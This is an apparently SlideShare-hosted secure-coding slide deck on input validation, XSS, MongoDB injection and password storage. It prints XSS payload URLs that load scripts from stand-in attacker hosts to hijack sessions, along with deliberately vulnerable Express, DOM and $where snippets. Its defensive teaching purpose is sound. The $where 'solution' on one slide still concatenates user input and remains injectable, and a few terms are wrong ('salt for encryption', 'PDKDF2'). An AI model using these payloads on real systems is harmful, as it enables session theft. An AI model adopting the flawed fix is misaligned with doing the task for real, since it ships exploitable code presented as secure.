Neoito — Secure coding practices
2 likes•260 views
The document outlines secure coding practices emphasizing the importance of input validation, sanitization, and encoding to prevent security vulnerabilities such as XSS and NoSQL injection. Key practices include treating all client input as hostile, ensuring strict validation of user inputs, and employing robust authentication methods. It also provides specific examples and recommendations for handling user inputs, file uploads, and error management.
![● Client XXS
○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '')
+ '"></scr'+'ipt>');
○ location.search.split is not properly escaped, the req parameter can be manipulated by
an attacker to retrieve malicious JavaScript from a location he/she is in control of,
injecting it into the web page of which the victim is visiting
○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js
○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad
snippet, making it run in the www.example.com context.
○ Initial step of a Session Hijacking attack as an attacker's script may have access to the
session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON
Web Token (JWT) may be found](https://image.slidesharecdn.com/securecodingpractices-180717044526/85/Neoito-Secure-coding-practices-15-320.jpg)
Neoito — Secure coding practices
- 1. Secure Coding Practices Akash S Prakash, Neoito
- 2. How secure do you think this is ? function add(a,b) { c = a+b; return c; }
- 3. Why secure coding? 1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data- breaches-hacks/ 2. https://en.wikipedia.org/wiki/Heartbleed (https://tools.ietf.org/html/rfc6520) (https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504) 3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln erability
- 4. Golden Rule of Web Security Never trust User Input!
- 5. How user Input should be viewed
- 6. Input Validations “ All client input is hostile until proven otherwise or sanitized. “ ● Perform client-side and server-side user input validations. ● Constrain, reject and sanitize input. ● The range of valid data is generally a more finite set than the range of potentially malicious input. ● Constrain input for type, length, format, and range. ● Never directly inject user content into responses
- 7. ● Validate all client provided data before processing, including all parameters, URLs and HTTP header Content ● Validate all input against a whitelist of allowed characters, whenever possible ● Validate for expected data types: ○ const userInputAge = '32'; const userAge = Number.parseInt(userInputAge); console.log('User is %d years old', userAge); // User is 32 years old ● Use actively maintained validation modules than reduce use of custom Regex for common purpose Eg: email validations
- 8. Input entry points ● Query Parameters ● URL path ● PUT/POST parameters ● Cookies ● Headers ● File uploads ● Emails ● Form fields ● Web sockets
- 9. File Uploads ● All file uploads should be subjected to strict validation ● Node.js suggest multer ● Store uploaded files on Specific location: ○ Uploaded files should be stored in specific location without execution privilages and directory listing ● Check file size and type before saving to storage. Never rely on file extension ● Do not execute user uploaded content(Unless under a gun point, duh!) ○ If at gunpoint, use a library like Jailed that runs code in sandbox mode
- 10. Post Validation Actions ● Enforcement Actions: ○ Notify user the input failed to comply with the requirements and should be modified ○ Modify user submitted data on server side without notifying the user ● Advisory Action: ○ Allows unchanged data but inform the user that there was issues with the entered data ● Verification Action: ○ Suggest changes in the user input. User chooses whether to keep the data or change it Eg: Billing forms
- 11. Sanitization Sanitization refers to the process of removing or replacing submitted data. When dealing with data, after the proper validation checks have been made, an additional step which tends to be taken in order to strengthen data safety is sanitization. ● Convert Single Less-Than Characters < to Entity ● Remove Line Breaks, Tabs and Extra White Space ● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected
- 12. Output Encoding ● Cross-Site Scripting (XSS) ● NoSQL Injection
- 13. Cross-Site Scripting ● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent attacks involving web applications and JavaScript ● Types: ○ Server XSS - when untrusted data is included in an HTML response generated by the server ○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call
- 14. ● Server XSS ○ Occurs when untrusted data is included in an HTML response generated by the server ○ https://www.google.pt/search?q=JS+SCP ■ No results found for "JS SCP" ○ https://www.google.pt/search?q=<script>alert(XSS)</script> ■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p> ○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker. com/ms.js",document.body.appendChild(s);<%2Fscript> const express = require('express'); const db = require('../lib/db'); const router = express.Router(); router.get('/search', (req, res) => { const results = db.search(req.query.q); if (results.length === 0) { return res.send('<p>No results found for "' + req.query.q + '"</p>'); } });
- 15. ● Client XXS ○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call ○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '') + '"></scr'+'ipt>'); ○ location.search.split is not properly escaped, the req parameter can be manipulated by an attacker to retrieve malicious JavaScript from a location he/she is in control of, injecting it into the web page of which the victim is visiting ○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js ○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad snippet, making it run in the www.example.com context. ○ Initial step of a Session Hijacking attack as an attacker's script may have access to the session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON Web Token (JWT) may be found
- 16. Cross-Site Scripting Prevention ● Nodejs: ○ Both encodeURI and encodeURIComponent functions are available on Node.js global scope , but more specialized packages like the xss-filters var express = require('express'); var app = express(); var xssFilters = require('xss-filters'); app.get('/', function(req, res){ var firstname = req.query.firstname; //an untrusted input collected from user res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname) + '!</h1>'); }); app.listen(3000);
- 17. ● Angular: ○ Angular already has some built-in protections to help developers dealing with output encoding and XSS mitigation ○ By default, all values are considered untrusted/unsafe. This means that whenever a value is inserted into the DOM from a template , property , attribute , style , class binding or interpolation Angular sanitizes and escapes it ○ https://angular.io/guide/security
- 18. NoSQL Injection ● MongoDB ○ Whenever an application accepts user input as query parameters, malicious content can be injected into the database unless some steps are taken to prevent it. ○ These three operations that allow arbitrary JavaScript expressions to run directly on the server: ■ $where ■ mapReduce ■ group
- 19. ● This query returns the document whose UserID is equal to the req.query.id value ● Making req.query.id equals to 0; return true will lead to the expression this.UserID = 0; return true which is the NoSQL equivalent to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1 ● Soln: const dbQuery = { $where: 'this.UserID = ' + req.query.id } db.Users.find(dbQuery); const dbQuery = { $where: 'this.UserID = new Number(' + req.query.id + ')' } db.Users.find(dbQuery);
- 20. Authentication and Password Management ● All authentication controls must be enforced on a trusted system ● Utilize standard and tested authentication controls ○ Eg: Passport ● Password entry should be obscured on user's screen but also the remember me functionality should be disabled ○ <input type="password" name="passwd" autocomplete="off" /> ● Communicating Authentication Data ○ Authentication credentials should be sent on HTTP POST requests only ○ When handling authentication errors, your application should not disclose which part of the authentication data was incorrect ○ Who is registered - "invalid password" means that the username exists ○ How your system works - "invalid password" reveals how your application works
- 21. ● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc) ○ http://md5decrypt.net/en/Sha1/ ● Always use salt for encryption ● Do not use the same salt for whole application ● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and Scrypt ● Enforce password complexity requirements ● Passwords should be at least one day old before they can be changed ● Express-brute package for express allows request slowdown (after 5 failed logins), as well as setting a daily maximum login attempt number (1000)
- 22. ● Enforce account disabling after an established number of invalid login attempts (e.g., five attempts is common). The account must be disabled for a period of time sufficient to discourage brute force guessing of credentials, but not so long as to allow for a denial-of-service attack to be performed
- 23. Error Handling and Logging ● Information, no matter how insignificant is seems, matters a lot in web world.
- 25. Thank you.